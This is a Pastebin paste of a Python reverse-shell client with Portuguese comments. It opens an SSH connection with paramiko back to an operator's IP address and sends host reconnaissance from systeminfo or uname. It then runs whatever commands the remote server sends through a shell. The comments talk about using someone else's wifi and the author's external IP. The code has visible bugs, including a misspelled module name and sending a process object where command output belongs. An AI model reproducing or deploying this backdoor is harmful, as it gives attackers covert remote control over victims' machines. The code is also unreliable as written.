Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #######################
- # Autor: Rablidad
- # Reverse-shell client with ssh, for encrypted connection with sys recon
- #
- # Encrypted with SSH, Reverse Shell Client
- #######################
- import subprocess
- import paramiko
- import sys
- import os
- # sys.platform in linux returns 'linux', but if u are on windows, it returns win32
- ## usar wifi da taynara, logo, o IP externo dela.
- ip='192.168.1.31' ## mudar para meu ip externo
- def main(ip, username, password):
- cliente = paramiko.SSHClient()
- cliente.load_system_host_keys()
- cliente.set_missing_host_key_policy(parmiko.AutoAddPolicy())
- cliente.connect(hostname=ip,username = username, password = password)
- try:
- channel_connect = cliente.get_transport().open_session()
- if(channel_connect.active):
- ## reconhecimento da plataforma
- ##############################################################
- if(sys.platform == "win32" or sys.platform == "cygwin"):
- ## envia para dizer ao server se é linux ou win apenas
- channel_connect.send("win32")
- #################################
- with subprocess.Popen("systeminfo", shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) as source:
- read = source.stdout.read().decode('utf-8').split('\n')
- tpl_info = []
- for i in read:
- tpl_info.append(i)
- if("hotf" in i or "Hotf" in i):
- break
- channel_connect.send(tpl_info)
- elif(sys.platform == 'linux'):
- ## envia para dizer ao server se é linux ou win apenas
- channel_connect.send('linux')
- ################################
- with subprocess.Popen("uname -a", shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) as source:
- read = source.stdout.read().decode('utf-8')
- channel_connect.send(read)
- else:
- pass
- ###############################################################
- ## COMEÇO DO CONTROLE DO SHELL
- while True:
- try:
- cmd = channel_connect.recv(1024)
- if(cmd == 'exit'):
- channel_connect.close()
- cliente.close()
- sys.exit(0)
- elif(cmd != 'exit'):
- if(cmd[:2] == 'cd'):
- os.chdir(cmd[3:])
- channel_connect.send(os.getcwd() + '>')
- else:
- executed = subprocess.Popen(cmd ,shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
- channel_connect.send(executed)
- except:
- pass
- except Exception as err:
- print("Failed: %s" %(str(err)))
- sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement